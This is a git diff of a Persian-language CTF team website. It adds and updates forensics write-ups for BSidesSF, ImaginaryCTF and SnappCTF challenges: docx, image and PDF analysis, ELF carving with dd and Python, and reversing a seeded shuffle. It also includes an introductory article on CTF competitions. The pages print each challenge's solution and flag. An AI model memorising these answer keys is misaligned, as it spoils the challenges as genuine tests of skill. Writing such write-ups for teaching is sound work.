doctor-1

یکم که تو فولدر ها بگردیم و یه سری چیزا مثل وجود داشتن یا نداشتن macro مطمئن بشیم، چشممون میخوره به عکس هایی که تو فایل ورود گنجونده شدن

اما wait, what?

doctor-2

چرا ۵ تا عکسه؟ مگه تو فایل ورد ۴ تا نبود؟

یه عکس اضافیه

که اونم image-0.png هست فلگ توشه

doctor-3


FLAG 🚩

CTF{st0ck_cut3_p1c5}

نویسنده

SafaSafari

\ No newline at end of file diff --git a/forensic/writeups/BSidesSF/javai/index.html b/forensic/writeups/BSidesSF/javai/index.html index d0f90d71..f22bedcd 100644 --- a/forensic/writeups/BSidesSF/javai/index.html +++ b/forensic/writeups/BSidesSF/javai/index.html @@ -1,4 +1,4 @@ - Javai - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Javai

اینجا هم یه فایل docx به ما دادن و بعد از باز کردنش متوجه میشیم باید با zip viewer هم یه فرصت بهش بدیم

عه این فایل getflag.class چیه اینجا؟

javai-1

فایل رو اکسترکت میکنیم و میریم سراغ JadX و فایل رو باز میکنیم و فلگ رو دو دستی تقدیممون میکنه

javai-2


FLAG 🚩

CTF{javai_java_with_100x_ai}

نویسنده

SafaSafari

\ No newline at end of file +-->

Javai

اینجا هم یه فایل docx به ما دادن و بعد از باز کردنش متوجه میشیم باید با zip viewer هم یه فرصت بهش بدیم

عه این فایل getflag.class چیه اینجا؟

javai-1

فایل رو اکسترکت میکنیم و میریم سراغ JadX و فایل رو باز میکنیم و فلگ رو دو دستی تقدیممون میکنه

javai-2


FLAG 🚩

CTF{javai_java_with_100x_ai}

نویسنده

SafaSafari

\ No newline at end of file diff --git a/forensic/writeups/BSidesSF/redacted/index.html b/forensic/writeups/BSidesSF/redacted/index.html index 3a011f8a..e7f5968b 100644 --- a/forensic/writeups/BSidesSF/redacted/index.html +++ b/forensic/writeups/BSidesSF/redacted/index.html @@ -1,4 +1,4 @@ - Redacted - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Redacted

اینجا یه عکس داریم که یه تیکش با ادیتور موبایل روش خط کشیده شده

redacted-1

یه بار یه ترفند تو توییتر دیدم که میشد زیر این خطا رو خوند =)))

پس دست به کار شدم و تو gimp فایل رو باز کردم و

با یکم بازی بازی کردن با آپشنای gimp تونستم فلگ رو بکشم بیرون

redacted-2


FLAG 🚩

CTF{censor_this}

نویسنده

SafaSafari

\ No newline at end of file +-->

Redacted

اینجا یه عکس داریم که یه تیکش با ادیتور موبایل روش خط کشیده شده

redacted-1

یه بار یه ترفند تو توییتر دیدم که میشد زیر این خطا رو خوند =)))

پس دست به کار شدم و تو gimp فایل رو باز کردم و

با یکم بازی بازی کردن با آپشنای gimp تونستم فلگ رو بکشم بیرون

redacted-2


FLAG 🚩

CTF{censor_this}

نویسنده

SafaSafari

\ No newline at end of file diff --git a/forensic/writeups/BSidesSF/sgai/index.html b/forensic/writeups/BSidesSF/sgai/index.html index 4fd1b766..5e46f7f7 100644 --- a/forensic/writeups/BSidesSF/sgai/index.html +++ b/forensic/writeups/BSidesSF/sgai/index.html @@ -1,5 +1,5 @@ - Sgai - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Sgai

این چلنج ۴ تا فلگ مختلف داشت که موفق شدم ۳ تاشون رو به دست بیارم

پسوند فایل چیه؟ sgi دیگه چه کوفتیه؟

مهم نیس

چون اگه دبل کلیک کنیم روش، با gimp باز میشه 😂

به شخصه خیلی باهاش بازی بازی کردم و تا بالاخره فهمیدم اگه layer alpha رو مخفی کنم، یه فلگ میزنه بیرون

sgai-1

برا فلگ بعدی باید حرفه ای تر عمل کنیم 😎

پس میریم سراغ hex editor

sgai-2

زارت فلگ بعدی هم دراومد =)))

برا فلگ سوم بعد از ساعتها آزمون و خطا تصمیم گرفتم یه فایل sgi دیگه وردارم و با این مقایسه کنم

پس با این دستور، یه rebase از همین فایل sgi ساختم و هردو رو تو hex editor باز کردم

convert sgai.sgi a.sgi
-

sgai-3

تفاوت واضحه

یه مشت FF اینور هستن که اونور 00 ان

با بررسی struct فایل از اینجا فهمیدم که این تیکه پدینگه

پس کل پدینگ که میشه از 0x6c تا 0x1ff کپی کردم xor زدم با FF تا همشون 00 بشن

sgai-4

اینم از فلگ سوم


FLAG 🚩

CTF{i_name_thee_flag}
CTF{invisibility_cloak}
CTF{padpadpad_really_do_we_need_512}

نویسنده

SafaSafari

\ No newline at end of file +

sgai-3

تفاوت واضحه

یه مشت FF اینور هستن که اونور 00 ان

با بررسی struct فایل از اینجا فهمیدم که این تیکه پدینگه

پس کل پدینگ که میشه از 0x6c تا 0x1ff کپی کردم xor زدم با FF تا همشون 00 بشن

sgai-4

اینم از فلگ سوم


FLAG 🚩

CTF{i_name_thee_flag}
CTF{invisibility_cloak}
CTF{padpadpad_really_do_we_need_512}

نویسنده

SafaSafari

\ No newline at end of file diff --git a/forensic/writeups/BSidesSF/undelete/index.html b/forensic/writeups/BSidesSF/undelete/index.html index 2c2fbef9..15f39fda 100644 --- a/forensic/writeups/BSidesSF/undelete/index.html +++ b/forensic/writeups/BSidesSF/undelete/index.html @@ -1,5 +1,5 @@ - Undelete - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Undelete

این چلنج ساده ترین چلنج بود =))

یه binwalk ساده میتونست فلگ رو در بیاره

binwalk --dd=".*" floppy.img
-

undelete-1


FLAG 🚩

CTF{144_mb_enough_for_anybody}

نویسنده

SafaSafari

\ No newline at end of file +

undelete-1


FLAG 🚩

CTF{144_mb_enough_for_anybody}

نویسنده

SafaSafari

\ No newline at end of file diff --git a/forensic/writeups/BSidesSF/ztxt/index.html b/forensic/writeups/BSidesSF/ztxt/index.html index e0b74bf8..4da5c9b0 100644 --- a/forensic/writeups/BSidesSF/ztxt/index.html +++ b/forensic/writeups/BSidesSF/ztxt/index.html @@ -1,4 +1,4 @@ - Ztxt - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Ztxt

این چلنج از اون یکی هم راحت تره 😂

با exiftool فلگ در میاد

ztxt-1


FLAG 🚩

CTF{zhis_zis_zhe_zlag}

نویسنده

SafaSafari

\ No newline at end of file +-->

Ztxt

این چلنج از اون یکی هم راحت تره 😂

با exiftool فلگ در میاد

ztxt-1


FLAG 🚩

CTF{zhis_zis_zhe_zlag}

نویسنده

SafaSafari

\ No newline at end of file diff --git a/forensic/writeups/ImaginaryCTF/elves-1.png b/forensic/writeups/ImaginaryCTF/elves-1.png new file mode 100644 index 00000000..205ec447 Binary files /dev/null and b/forensic/writeups/ImaginaryCTF/elves-1.png differ diff --git a/forensic/writeups/ImaginaryCTF/elves-2.png b/forensic/writeups/ImaginaryCTF/elves-2.png new file mode 100644 index 00000000..a90f6a74 Binary files /dev/null and b/forensic/writeups/ImaginaryCTF/elves-2.png differ diff --git a/forensic/writeups/ImaginaryCTF/elves-3.png b/forensic/writeups/ImaginaryCTF/elves-3.png new file mode 100644 index 00000000..6334d889 Binary files /dev/null and b/forensic/writeups/ImaginaryCTF/elves-3.png differ diff --git a/forensic/writeups/ImaginaryCTF/elves.bmp b/forensic/writeups/ImaginaryCTF/elves.bmp new file mode 100644 index 00000000..8c05fdff Binary files /dev/null and b/forensic/writeups/ImaginaryCTF/elves.bmp differ diff --git a/forensic/writeups/ImaginaryCTF/elves.png b/forensic/writeups/ImaginaryCTF/elves.png new file mode 100644 index 00000000..8376755d Binary files /dev/null and b/forensic/writeups/ImaginaryCTF/elves.png differ diff --git a/forensic/writeups/ImaginaryCTF/elves/index.html b/forensic/writeups/ImaginaryCTF/elves/index.html new file mode 100644 index 00000000..bd8ee692 --- /dev/null +++ b/forensic/writeups/ImaginaryCTF/elves/index.html @@ -0,0 +1,82 @@ + elf in front of a sunset - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات

elf in front of a sunset


challenge cover.png

در این چلنج یه عکس از الف‌ها (موجودات تخیلی) در اختیار ما گذاشته شده. با باز کردن اون و نگاه کردنش و آزمایش‌های ساده با ابزارهایی مثل strings و exiftool و stegsolver و zsteg، دیتای خیلی مهمی پیدا نمیکنیم ولی یکسری هینت به دست میاریم. مثلا وجود کلمات کلیدی مثل GGGNNNUUU و EEELLLFFF در خروجی strings این عکس و این اخطار 67056 bytes of extra data after image در خروجی zsteg نشون می‌ده که آثاری از یک فایل elf در انتهای این فایل وجود داره. بنابراین فایل را در یک ادیتور hex باز می‌کنیم و به صورت دستی بررسی می‌کنیم.

challenge elves-1.png

challenge elves-2.png

میبینیم که آخرای فایل یه تعداد زیادی بایت FF وجود داره و بعد از اون هم یکسری بایت اضافی و غیر مشابه به bmp وجود داره که مشکوک به یک فایل elf میتونن باشن. آفست اولین بایت غیر FF را در انتهای عکس از ادیتور پیدا می‌کنیم و سپس با کمک دستور dd از اون آفست تا انتها همه‌ی بایت‌ها رو داخل یک فایل جدید به نام im.data می‌ریزیم.

dd if=out1.data bs=1 skip=$(python -c "print(0x165336)") of=im.data
+
همچنین میتونیم مشاهده کنیم که بایت‌ها در این بخش، هر کدوم ۳ بار تکرار شدن. پس یه اسکریپت پایتون میزنیم که این رو درست کنه و از هر ۳ بایت فقط یکی رو نگه داره.
def filter_bytes(input_filename, output_filename):
+    with open(input_filename, 'rb') as infile:
+        binary_data = infile.read()
+
+    filtered_data = bytearray()
+
+    for i in range(len(binary_data)):
+        if i % 3 == 0:
+            filtered_data.append(binary_data[i])
+
+    with open(output_filename, 'wb') as outfile:
+        outfile.write(filtered_data)
+
+input_filename = 'im.data'
+output_filename = 'out.data'
+filter_bytes(input_filename, output_filename)
+
حالا فایل out.data رو که نگاه می‌کنیم، یکسری ساختارهای آشنا از فایل elf می‌توینم ببینیم ولی مشخصا نادرست هستن و به یک الگویی به هم ریخته شدن. با مطالعه بیشتر و تطابق دادن فایل با ساختار elf و همینطور پیدا کردن طول تقریبی بخش‌هایی که دیتای درستی دارن به صورت متوالی، میتونیم بفهمیم که این فایل 16256 بایتی به ۱۶ قسمت برابر به طول 1016 بایت تقسیم شده و همچنین ترتیب قرارگیری این ۱۶ بخش دقیقا برعکس ساختار اصلی elf هست. پس با یک اسکریپت پایتون دیگه، فایل out.data رو به ۱۶ بخش مساوی تقسیم می‌کنیم و ترتیبشونو برعکس می‌کنیم و داخل یه فایل جدید به نام corelfv می‌ریزیم. میبینیم که حالا این فایل یک elf ولید و درست هست.

challenge elves-3.png

حالا این فایل باینری رو دیکامپایل می‌کنیم و خروجی زیر رو به دست میاریم:

#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main(int argc, const char **argv, const char **envp)
+{
+  unsigned long v3;
+  unsigned int v4;
+  char v6;
+  int i;
+  char s[40];
+
+  strcpy(s, "_{f2isfsatutflwa_nh2}__asitib1leefwcuk");
+  srand(0x123123Du);
+  for ( i = 0; i < strlen(s); ++i )
+  {
+    v6 = s[i];
+    v3 = rand();
+    v4 = strlen(s);
+    s[i] = s[(int)(v3 % v4)];
+    s[(int)(v3 % v4)] = v6;
+  }
+  puts(s);
+  return 0;
+}
+
+int displayhex(char *a1)
+{
+  int i;
+
+  for ( i = 0; i < strlen(a1); ++i )
+    printf("%2x ", (unsigned int)a1[i]);
+  return putchar(10);
+}
+

با اجرای این برنامه خروجی به درد بخوری نمیگیریم و همچین چیزی بهمون میده: aisb_wfhuwi2sf__af1ek}iuttfa_lens2t{lc که شبیه فلگ هست ولی به هم ریختس. این کد در واقع قرار نیست فلگ رو مستقیم به ما بده و هینت میده که چجوری فلگ تولید شده. در واقع فلگ اصلی ترتیب حروفش با جابجایی‌های رندومی که داخل کد میبینید و با سید رندوم 0x123123Du به هم ریخته و تبدیل به اون رشته‌ای که توی کد می‌بینید شده. حالا کافیه ما دقیقا برعکس همون کارو بکنیم. یعنی همون اعدادو برای جابجایی با همون سید رندوم تولید کنیم و بعد به ترتیب بر عکس روی رشته داخل کد اعمال کنیم تا به فلگ برسیم. کد زیر این کار رو برامون انجام میده. ناگفته نمونه این ایده بعد از کلی آزمون و خطا و بروت‌فورس ناموفق روی سید رندوم، توسط صفا صفری عزیز مطرح شد و سوال حل شد و این کد هم متعلق به اونه.

import ctypes
+
+libc = ctypes.CDLL("/usr/lib/libc.so.6")
+libc.srand.argtypes = [ctypes.c_uint]
+libc.rand.restype = ctypes.c_int
+
+def decode(s):
+    s = list(s)
+    libc.srand(0x123123D)
+
+    swaps = []
+    for i in range(len(s)):
+        v3 = libc.rand()
+        v4 = len(s)
+        j = v3 % v4
+        swaps.append((i, j))
+
+    for i, j in reversed(swaps):
+        s[i], s[j] = s[j], s[i]
+
+    return ''.join(s)
+
+original = "_{f2isfsatutflwa_nh2}__asitib1leefwcuk"
+decoded = decode(original)
+
+print("Original:", original)
+print("Decoded: ", decoded)
+

نهایتا بعد از ران کد به فلگ نهایی می‌رسیم.


FLAG 🚩

ictf{elf_waifus_best_waifus_2h12lntka}

نویسنده

Sadegh

\ No newline at end of file diff --git a/forensic/writeups/SnappCTF/false-sight/index.html b/forensic/writeups/SnappCTF/false-sight/index.html index e73b6ca1..c22b57b7 100644 --- a/forensic/writeups/SnappCTF/false-sight/index.html +++ b/forensic/writeups/SnappCTF/false-sight/index.html @@ -1,4 +1,4 @@ - False sight - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

False sight

Challenge

بدون فوت وقت میریم سراغ hex editor و میبینیم که به به

False-Sight

یه استرینگ به چشم میخوره به اسم BGRs

با چندتا سرچ تو گوگل میفهمیم که فرمت فایل bmp هست

با مجیک بایت bmp فایل رو به این صورت فیکس میکنیم

False-Sight

False-Sight

خوردیم به در بسته =))

از اون جایی که ۹۹ درصد CTF های ایرانی رو اسیس طراحی کرده

از چلنج های قبلی اسیس یادمونه که یه چلنج بوده که همینجوری به فایل تصویری علامت سوال میرسیدیم و باید لنف تصویری رو جلو میرفتیم و یه عکس دیگه که چسبیده بوده به عکس رو پیدا کنیم و فلگ رو توش پیدا میکردیم

پس میریم سراغ exiftool

False-Sight

لاین سلکت شده به ما این رو میرسونه که فایل تصویریمون تا اینجا بیشتر نباید باشه، اما...

False-Sight

اما میبینیم که پاشو از گلیمش دراز تر کرده =)))

پس میزنیم کل عکسی که با علامت سوال پر شده رو پاک میکنیم 😈

اون علامت سوالا رو میبینید آخرای صفحه؟

اونا توجه منو جلب میکنن

مخصوصا که چهار تان و مجیک بایت bmp هم چهار تاس

پس تا اونجا پاک میکنیم =))

حالا کی حال داره بشینه کل بایتا رو بازنویسی کنه؟

از قسمت اول همون فایل اولیه که مجیک بایتش رو فیکس کردیم، بایت ها رو تا جایی که به ۰۰ میرسیم کپی میکنیم و جوری میزاریم تو فایل که مجیک بایت بیفته رو علامت سوالا

یه همچین عکسی در میاد

False-Sight

کاملا واضحه که رزولوشن عکس مشکل داره

با خوندن فرمت فایل bmp متوجه میشیم که کجا باید رزولوشن رو ست کنیم

با این اسکریپت python میزنیم همه رزولوشن ها رو ست میکنیم رو عکس و تو یه فایل ذخیره میکنیم

برای این بروت فورس فقط نیازه x عکس رو بروت فورس کنیم

چون پیکسل های تصاویر از چپ به راست تکمیل میشن و ارتفاع تاثیری در پیکسل ها و ترتیبشون نداره

1
@@ -12,4 +12,4 @@
 for i in range(1, 10000):
     with open("res/{}.bmp".format(i), 'wb') as f:
         f.write(hdr + i.to_bytes(4, 'little') + a)
-

بعد از اجرای اسکریپت میریم سراغ عکسا و میبینیم این عکس خواناس

False-Sight

نویسنده

SafaSafari

\ No newline at end of file +

بعد از اجرای اسکریپت میریم سراغ عکسا و میبینیم این عکس خواناس

False-Sight

نویسنده

SafaSafari

\ No newline at end of file diff --git a/forensic/writeups/SnappCTF/snapp-report/index.html b/forensic/writeups/SnappCTF/snapp-report/index.html index 4007b8b0..6795f020 100644 --- a/forensic/writeups/SnappCTF/snapp-report/index.html +++ b/forensic/writeups/SnappCTF/snapp-report/index.html @@ -1,4 +1,4 @@ - Snapp report - رایتاپ‌های تیم فلگ موتوری
FlagMotori/writeups

Snapp report

اینجا یه فایل pdf داریم که با firefox بازش میکنیم

با زدن یه Ctrl+a میبینیم که یه سری متن ها هست که ما نمیبینیم

دورشون یه سری متن نوشته شده، از «ولکام» شروع میکنیم و پاد ساعتگرد میچرخیم و هی کپی میکنیم و فلگ در میاد =))

Snapp-Report

FLAG 🚩

SNAPP{_g3n3r4T3_r4nd0m_c0l0r_1n_w4y_7h47_w0rk5_w17h_pdfLaTeX!}


نویسنده

SafaSafari

\ No newline at end of file +-->

Snapp report

اینجا یه فایل pdf داریم که با firefox بازش میکنیم

با زدن یه Ctrl+a میبینیم که یه سری متن ها هست که ما نمیبینیم

دورشون یه سری متن نوشته شده، از «ولکام» شروع میکنیم و پاد ساعتگرد میچرخیم و هی کپی میکنیم و فلگ در میاد =))

Snapp-Report

FLAG 🚩

SNAPP{_g3n3r4T3_r4nd0m_c0l0r_1n_w4y_7h47_w0rk5_w17h_pdfLaTeX!}


نویسنده

SafaSafari

\ No newline at end of file diff --git a/getStarted/CTF-in-Iran/index.html b/getStarted/CTF-in-Iran/index.html index 1affa2d6..d769ecd6 100644 --- a/getStarted/CTF-in-Iran/index.html +++ b/getStarted/CTF-in-Iran/index.html @@ -1,4 +1,4 @@ - CTFس در ایران - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

CTFس در ایران

تاریخچه برگزاری CTF در ایران

مسابقه ASIS

فتح پرچم دانشگاه شریف

mapnactf

فتح پرچم دانشگاه ارومیه

سایر مسابقات

سطح کیفی مسابقات در ایران

تیم ها مطرح ایرانی

\ No newline at end of file +-->

CTFس در ایران

تاریخچه برگزاری CTF در ایران

مسابقه ASIS

فتح پرچم دانشگاه شریف

mapnactf

فتح پرچم دانشگاه ارومیه

سایر مسابقات

سطح کیفی مسابقات در ایران

تیم ها مطرح ایرانی

\ No newline at end of file diff --git a/getStarted/CTF-introduction/index.html b/getStarted/CTF-introduction/index.html index 340afccc..50faa40d 100644 --- a/getStarted/CTF-introduction/index.html +++ b/getStarted/CTF-introduction/index.html @@ -1,5 +1,5 @@ - آشنایی با مسابقات CTF - رایتاپ‌های تیم فلگ موتوری
پرش به محتویات
FlagMotori/writeups

آشنایی با مسابقات فتح پرچم (CTF)

مطالعه و تحقیق به تنهایی برای یادگیری و کسب مهارت در دنیای امنیت ممکن است گاهی خسته‌ کننده باشد. در اینجا با یکی از هیجانی‌ترین روش‌های کسب دانش در امنیت سایبری و هک یعنی مسابقات CTF آشنا می‌شویم. مسابقات فتح پرچم (Capture the Flag) یا به اختصار CTF، یکی از جذاب‌ترین مسابقات مهارتی، تمرینی و «رایگان» در دنیای امنیت است که در آن شرکت‌کنندگان تلاش می‌کنند یک رشته متنی به نام پرچم (Flag) مانند زیر که به شکل هدفمند در برنامه یا سرویس‌های آسیب‌پذیر پنهان شده بدست آورند.

Motori{CTF_c0nte5ts_4r3_br4in_7ra1n3r}
-

این مسابقات از بازی‌های ورزشی فتح پرچم الهام گرفته شده و معمولا در یک بازه زمانی ۲۴ تا ۴۸ ساعت برگزار می‌شوند. شرکت‌ها و دانشگاه‌ها با هدف کشف، پرورش و جذب افراد با استعداد یا خبره در زمینه امنیت، حامیان و برگزارکنندگان اصلی این رویداد را تشکیل می‌دهند که اغلب جوایزی را نیز برای برندگان آن در نظر می‌گیرند. در کنار این، نهادهای مستقلی مانند جامعه‌ی هکرها و دانشجویان نیز برای ایجاد رقابت و یک سرگرمی هیجان‌انگیز، این مسابقات را برگزار می‌کنند.

مروری بر تاریخچه CTF

برای اینکه مروری تاریخی روی برگزاری مسابقات CTF داشته باشیم باید ابتدا با یکی از قدیمی‌ترین و شاید بزرگ‌ترین کنفرانس‌های هک و امنیت سایبری به نام Defcon که هر ساله در شهر لاس وگاس آمریکا برگزار می‌شود آشنا شویم. امسال که سی‌ودومین دوره آن در حال ثبت‌نام است این کنفرانس به عنوان بزرگ‌ترین گردهمایی در دنیای امنیت شناخته می‌شود که شاید شرکت و سخنرانی در آن آرزوی هر هکر یا علاقه‌مند به امنیت باشد. شرکت کنندگان این کنفرانس شامل متخصصان و پژوهشگران امنیت سابیری، روزنامه‌نگاران، کارمندان دولت فدرال، دانشجویان و هکرها هستند که از سراسر دنیا دور هم جمع می‌شوند تا آخرین تجربیات خود در زمینه هر چیز قابل هک را با هم در میان بگذارند. اولین دوره این کنفرانس توسط جف ماس (Jeff Moss) به طور غیرمنتظره به عنوان یک مهمانی برای خداحافظی از یک دوست هکرش در سال ۱۹۹۳ تأسیس شد. این مهمانی با حضور تقریباً ۱۰۰ نفر از دوستان هکر او که از راه دور و نزدیک آمده بودند، برگزار شد.

defcon1.jpg

دوره‌های نخست CTF

اولین دوره مسابقه CTF به چهارمین دوره کنفرانس یعنی سال ۱۹۹۶ برمی‌گردد. Defcon CTF شاید قدیمی‌ترین CTF است که هنوز به برگزاری خود ادامه می‌دهد. دوره‌های نخست آن (۱۹۹۶-۲۰۰۱) هیچ قانون مشخصی برای رقابت‌ها وجود نداشت. همچنین محیط یا بستر حرفه‌ای برای آن ساخته نشده بود و امتیازدهی تیم‌ها دستی انجام می‌شد. برگزارکنندگان دوره‌های اول داوطلبان و علاقه‌مندان غیرحرفه‌ای بودند که تجربه کافی نداشتند. اختلاف و نارضایتی زیاد به دلیل فقدان سیستم امتیازدهی خودکار، عدم دانش فنی کافی داوران، تأخیرها و خطاهای زیاد در امتیازدهی، ناپایداری شبکه و پیکربندی نامناسب از مهم‌ترین مشکلات دوره‌های اول این مسابقات بود. اما در طول سال‌های بعد، این بازی‌ها آهسته به بلوغ رسید و امتیازدهی تا حد زیادی خودکار شدند.

رقابت‌های حال حاضر

در چند سال گذشته، فتح پرچم به یک نام محبوب در حوزه امنیت سایبری تبدیل شده و تعداد مسابقات CTF به طور پیوسته در حال افزایش است. به عنوان مثال تنها در سال ۲۰۲۳ بالغ بر ۲۹۰ مسابقه CTF در سطح جهان برگزار شده است. علاوه بر این، مهارت‌های امنیتی گسترده‌تر و جدیدتری مانند بلاکچین، هوش مصنوعی، پنهان‌نگاری و جاسوسی از طریق وب (Osint) به چالش‌های این مسابقات اضافه شده است. به همین دلایل وب سایت ctftime از سال ۲۰۱۱ اقدام به نگهداری و ثبت اطلاعات مربوط به هر مسابقه، چالش‌ها، امتیاز تیم‌ها و وزن‌دهی مسابقات کرده تا چالش‌ها و رتبه تیم‌ها به فراموشی سپرده نشود. این وبسایت اطلاعات کاملی در مورد تقویم مسابقات پیش رو در سراسر دنیا و مسابقات گذشته و همچنین اطلاعات دیگری مانند آرشیو کاملی از چالش‌ها، رتبه‌ی تیم‌ها در هر مسابقه و امتیاز کلی و رده‌بندی سالانه تیم‌های CTF را ارائه می‌دهد. به طور کلی ctftime را می‌توان به عنوان یک مرجع خوب برای آشنایی و شرکت در مسابقات CTF در نظر گرفت.

همان‌طور که مسابقات CTF در گذر زمان به بلوغ رسیدند و شهرت بیشتری پیدا کردند، تقاضای بیشتری از طرف تیم‌های مختلف برای شرکت در این بازی‌ها به وجود آمد. از آنجایی که Defcon CTF به عنوان بهترین بازی‌های هک و امنیت جهان شناخته می‌شود و تقاضا برای شرکت در آن بسیار زیاد است در نتیجه روشی مشابه بازی‌های ورزشی المپیک برای ورود آن اجرا می‌شود. تیم‌ها باید مجموعه‌ای از مسابقات مقدماتی CTF را انجام دهند تا امتیاز لازم را برای حضور در این رویداد کسب کنند. به همین دلیل Defcon CTF به المپیک هکرها معروف شده که جزئیاتی از نتایج دوره‌های مختلف آن در اینجا آمده است. در نهایت تیم قهرمان علاوه بر جایزه، می‌تواند بالاترین نشان به نام "نشان سیاه" (Black Badge) را بدست آورد.

DefconCTF-logo.jpeg

انواع CTF

منابع مختلف مسابقات CTF را براساس معیارهای گوناگون دسته‌بندی می‌کنند که در اینجا روش‌های متفاوت طبقه‌بندی آن را تشریح می‌کنیم.

۱- براساس نوع چالش

نوع چالش‌‌ها یا نحوه رقابت تیم‌ها یکی از روش‌های دسته‌بندی این مسابقات است. بر این اساس می‌توان CTFها را به دفاع‌ - حمله (Attack-Defense) و سبک موضوعی (Jeopardy) یا ترکیبی از این دو تقسیم کرد.

  • مسابقات با چالش‌های موضوعی:

این دسته، از رایج‌ترین نوع برگزاری مسابقات CTF است. چالش‌های موجود در مسابقه براساس حوزه‌های مختلف امنیت مانند وب، مهندسی معکوس، جرم‌یابی، Pwn، رمزنگاری، پنهان‌نگاری وغیره با درجه سختی متفاوت مانند شکل زیر طبقه‌بندی شده‌اند و تیم‌ها تلاش می‌کنند تا این چالش‌ها را حل و پرچم آن چالش را بدست آورند. در روش موضوعی رقابت بین تیم‌ها براساس کسب امتیاز بیشتر است. در این نوع مسابقه نیاز به مهارت زیاد در همه شاخه‌های مختلف نیست چون هر یک از اعضای تیم می‌تواند به حل چالش‌های مربوط به سررشته خود بپردازند.

Jeopardy.jpg

  • مسابقات دفاع - حمله:

در رقابت‌های دفاع-حمله اطلاعات اولیه یکسانی مانند تصویری از پیکره‌بندی شبکه، سرویس‌ها و سرورها در اختیار هر تیم قرار می‌گیرد. در این حالت، هر تیم باید همزمان روی آسیب‌پذیری‌ سرویس‌های تیم‌های رقیب کار کند و از سرویس‌های متعلق به خود محافظت کند. به دلیل اینکه سرویس‌های داده شده به تیم‌ها دارای آسیب‌پذیرهای مشابه است؛ اگر آسیب پذیری در سرویس های خود پیدا کنند، آن را به سرعت در سمت خود رفع و از آن برای حمله به تیم‌های دیگر استفاده می‌کنند. این مسئله نشان می‌دهد که مسابقات دفاع-حمله نیاز به سطح دانش بالایی در حوزه‌های مختلف امنیت دارد.

attack-defense.png

۲- براساس شیوه برگزاری

رقابت‌های CTF می‌تواند به صورت حضوری یا آنلاین برگزار شود. معمولا بسیاری از رقابت‌های حضوری در حاشیه کنفرانس‌های امنیت سایبری مانند Hitcon ،Nulcon ،CSAW و Insomnihack برگزار می‌شوند. تیم‌ها بعد از بدست آوردن امتیاز لازم در مسابقه مقدماتی، برای حضور در محل مسابقه دعوت می‌شوند، اما در رقابت‌های آنلاین همه‌ی اتفاقات مانند اعلان‌ها، چالش‌ها و تابلو امتیازات روی سایت مسابقه قرار دارد و تیم‌ها بدون هیچ محدودیت جغرافیایی از سراسر جهان در آن شرکت می‌کنند. مسابقات دفاع-حمله اغلب به صورت حضوری برگزار می‌شوند اما مسابقات موضوعی به شکل آنلاین برگزار می‌شوند.

on-site.png

۳- براساس مدت برگزاری

برخی از CTFها دارای محدود زمانی نیستند و چالش‌های آنها معمولا برای مدت زیادی روی وبسایت قرار دارند. این نوع از CTF به wargame معروف است. اگرچه این نوع از CTFها هیجان رقابت در یک مدت زمان محدود را ندارند اما گزینه مناسبی برای تمرین و یادگیری به شمار می‌روند. بسیاری از سایت‌های wargame هر دو نوع چالش یعنی موضوعی و دفاع-حمله را ارائه می‌دهند. از مشهورترین این سایت‌ها می‌توان hackthebox ،Root-Me OverTheWire و TryHackMe را نام برد.

سطح مسابقات CTF

برای شرکت در هر مسابقه CTF لازم است که در ابتدا آشنایی با سطح آن مسابقه داشته باشیم. به طور کلی باید در نظر داشت که تعیین سطح یک مسابقه یک امر نسبی است که به مهارت و دانش قبلی افراد بستگی دارد. با این حال، در این بخش مسابقات را براساس وزن‌دهی سایت ctftime به سه دسته تقسیم کردیم و برای هر سطح تعدادی از مسابقات بهتر و شناخته شده را معرفی می‌کنیم.

ctftime.png

۱- مبتدی

مسابقه‌هایی که بین وزن صفر تا ۴۰ دارند معمولا مسابقاتی هستند که برای افراد تازه وارد به دنیای امنیت توصیه می‌شوند. تعداد این مسابقه‌ها بسیار بیشتر از سایر سطوح است و چالش‌های آن‌ها مفاهیم اولیه امنیت تا مسائل با درجه سختی متوسط را پوشش می‌دهند. از مسابقات مطرح و قابل قبول در این سطح می‌توان از HackTheBoxCTF ،ImaginaryCTF ،SunshineCTF و picoctf نام برد. با این حال، باید در نظر داشت که این مسابقات ممکن است در گذر زمان و براساس چالش‌هایی که بعداً ارائه می‌دهند در سطح دشوارتری قرار بگیرند.

۲- متوسط

مسابقه‌های سطح متوسط معمولا وزن‌ بین ۴۰ تا ۸۰ را دارند. تعداد این مسابقه‌ها معمولا نسبت به سطح مبتدی کمتر است زیرا ارائه یک مسابقه با کیفیت در سطح متوسط معمولا نیاز به برگزاری پیوسته مسابقه در سطح قابل قبول را دارد. تعدادی از CTFهای این سطح در زمان نگارش این مقاله شامل RuCTF ،Securinets-CTF ،UIUCTF MidnightSunCTF و bi0sCTF است.

۳- حرفه‌ای

بهترین و معمولا قدیمی‌ترین مسابقات CTF در این سطح قرار می‌گیرند. وزن این مسابقات اغلب بالاتر از ۸۰ است که مناسب افرادی با دانش و تجربه بالا در دنیای امنیت است. تعداد مسابقات این سطح انگشت شمار است که برخی از آن‌ها به عنوان مسابقه‌ی مقدماتی برای راه‌یابی به Defcon CTF در نظر گرفته شده تا تیم‌های قهرمان در آن‌ها به Defcon CTF راه پیدا کنند. تعدادی از این مسابقات شامل PlaidCTF ،0CTF ،ASIS-CTF ،Google-CTF و HITCON-CTF است.

قوانین

این مسابقات قوانین بسیار سخت‌گیرانه‌ای ندارد. دسترسی به اینترنت و گفتگو در مورد چالش‌ها در داخل تیم اتفاق می‌افتد. با این وجود برخی از قوانین در CTF وجود دارد که در اینجا لیست شده است:

  • محدودیتی برای تعداد اعضای تیم وجود ندارد (مگر در مسابقه‌ای اعلام شود)
  • هر گونه تلاش برای ایجاد اختلال در مسابقه مانند حمله به وبسایت یا زیرساخت‌های آن منجر به ردصلاحیت تیم خواهد شد.
  • اشتراک‌گذاری پرچم‌ها با سایر تیم‌ها ممنوع است.
  • هر بازیکن در هر مسابقه فقط می‌تواند برای یک تیم بازی کند.
